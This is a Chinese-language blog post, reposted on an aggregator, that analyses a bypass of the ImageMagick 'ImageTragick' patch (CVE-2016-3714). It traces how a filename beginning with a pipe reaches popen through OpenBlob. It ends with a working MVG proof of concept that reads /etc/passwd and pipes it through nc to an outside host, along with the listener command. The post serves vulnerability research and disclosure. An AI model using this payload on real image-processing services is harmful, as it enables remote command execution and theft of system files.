IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Imagetragick 补丁绕过再次命令执行

    没穿底裤发表于 2016-06-01 09:39:48
    love 0

    from:lonelyrain.me

    哎哎哎,老司机一言不合就爆洞啊,这个洞在之前分析CVE-2016-3714的时候也发现了,结果被捂烂了…心塞塞~那我就写一下当时是怎么发现怎么这个洞…

    ##漏洞分析正文

    之前在分析CVE-2016-3714的时候想,system()函数处理有问题,那么其他类似的有哪些函数呢?

    下面是一个可以执行命令的函数列表:

    <span class="line">system()
    
    popen()
    
    fork()+exec()
    
    execl()</span>

    那么搜索一下调用system()函数有哪些地方?经过搜索的话,最终只有CVE-2016-3714这个漏洞点调用到了一个system(). 那这么接下来搜索一下popen()函数调用点

    文件:magick/blob.c:2503行

    <span class="line">#if defined(SIGPIPE)
          if (*type == 'w')
            (void) signal(SIGPIPE,SIG_IGN);
    #endif
          *mode=(*type);
          mode[1]='\0';
          image-&gt;blob-&gt;file_info.file=(FILE *) popen_utf8(filename+1,mode);
          if (image-&gt;blob-&gt;file_info.file == (FILE *) NULL)
            {
              ThrowFileException(exception,BlobError,"UnableToOpenBlob",filename);
              return(MagickFalse);
            }
          image-&gt;blob-&gt;type=PipeStream;
          image-&gt;blob-&gt;exempt=MagickTrue;
                return(SetStreamBuffering(image_info,image));
        }</span>

    我们可以看到有一个popen_utf8()函数.

    跟进函数文件:magick/utility-private.h:173行

    <span class="line">static inline FILE *popen_utf8(const char *command,const char *type)
    {
    #if !defined(MAGICKCORE_WINDOWS_SUPPORT) || defined(__CYGWIN__) || defined(__MINGW32__) || defined(__MINGW64__)
      return(popen(command,type));
    #else
       FILE
         *file;
    
       wchar_t
         *type_wide,
         *command_wide;
    
       command_wide=create_wchar_path(command);
       if (command_wide == (wchar_t *) NULL)
         return((FILE *) NULL);
       type_wide=create_wchar_path(type);
       if (type_wide == (wchar_t *) NULL)
         {
           command_wide=(wchar_t *) RelinquishMagickMemory(command_wide);
           return((FILE *) NULL);
         }
       file=_wpopen(command_wide,type_wide);
       type_wide=(wchar_t *) RelinquishMagickMemory(type_wide);
       command_wide=(wchar_t *) RelinquishMagickMemory(command_wide);
       return(file);
    #endif
    }</span>

    可以看见popen_utf8()直接return了popen()函数的值回来.

    那么问题来了,谁调用了popen_utf8呢?

    向上追溯代码可以看到是OpenBlob()函数调用了popen_utf8.继续查看谁调用了OpenBlob()

    8248DCA8-27B0-46A0-A5EE-25C3EA3BB8FF[1]

    我们可以看到一堆地方调用到了OpenBlob(),看到一个眼熟的地方!

    使用GDB反调会让眼熟的地方明显一点

    5B98ABC0-8703-43CC-A6C4-53B19D9BBD8F[1]

    可以看到流程中有constitute.c调用到OpenBlob().而之前分析的时候也经常看constitute.c,很明显会选择先看这个地方的调用有没有问题.

    在constitute.c:448行

    可以看到status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);

    status在imagemagick里面一般都是用MagickTrue或者MagickFalse作为最终的函数返回值的,知道这点就好了.

    OpenBlob(image_info,image,ReadBinaryBlobMode,exception);

    在这个函数中image_info,image两个参数的值都是由我们传进去的.

    OpenBlob函数先进行了Policy的检测

    <span class="line">if (*type == 'w')
        rights=WritePolicyRights;
      if (IsRightsAuthorized(PathPolicyDomain,rights,filename) == MagickFalse)
        {
          errno=EPERM;
          (void) ThrowMagickException(exception,GetMagickModule(),PolicyError,
            "NotAuthorized","`%s'",filename);
          return(MagickFalse);
        }</span>

    最重要的一段在如下代码

    <span class="line">if (*filename == '|')
       {
         char
           mode[MaxTextExtent];
    
         /*
           Pipe image to or from a system command.
         */
    #if defined(SIGPIPE)
         if (*type == 'w')
           (void) signal(SIGPIPE,SIG_IGN);
    #endif
         *mode=(*type);
         mode[1]='\0';
         image-&gt;blob-&gt;file_info.file=(FILE *) popen_utf8(filename+1,mode);
         if (image-&gt;blob-&gt;file_info.file == (FILE *) NULL)
           {
             ThrowFileException(exception,BlobError,"UnableToOpenBlob",filename);
             return(MagickFalse);
           }</span>

    因为*filename指向指针的第一个字符,如果第一个字符是|那么就调用popen_utf8()去打开文件.

    所以我们要控制的就是|后面的字符.如果我们想要控制这里的filename就意味着我们需要传入的文件的名称|+你要执行的命令

    经过测试这个是可以的,这个地方可以命令执行,但是万一要是上传的文件名字有限制|这个符号不让作为文件名的名字的话,那就挺别扭的.而且windows底下应该是不能用|作为文件的名字的,所以还是把payload写在文件里面比较好.

    通过对imagemagick源码的浏览,并且查询imagemagick的官方文档.

    官方文档

    可以发现mvg有很多需要操作文件mvg内文件的原语,这些地方都是会调用到OpenBlob()

    例如以下操作:

    D51CD2F4-9C55-48D5-B28D-5B1551B4C4E8[1]

    29336A5F-27D6-442F-86CF-C49C720A1AF9[1]

    C973A35E-D2D6-43AA-A6DF-D43D0F8FEB3B[1]

    F4958AC8-5D13-49B2-99E8-61175C9BFDCE[1]

    638AF5AD-254B-47F4-A61C-4FAE898046F7[1]

    Poc使用image over这个原语.

    那么Poc就出来了

    1.mvg文件中

    <span class="line">push graphic-context
    viewbox 0 0 640 480
    image Over 0,0 0,0 '|cat /etc/passwd|nc lonelyrain.me 9999'
    pop graphic-context</span>

    然后attack的服务器运行nc -l 0.0.0.0 9999 > passwd

    这个漏洞有兴趣的同学可以去再找一下其它玩法…

    B487FA86-DEA2-4A3F-9AA3-E2AA9A2D1170[1]



沪ICP备19023445号-2号
友情链接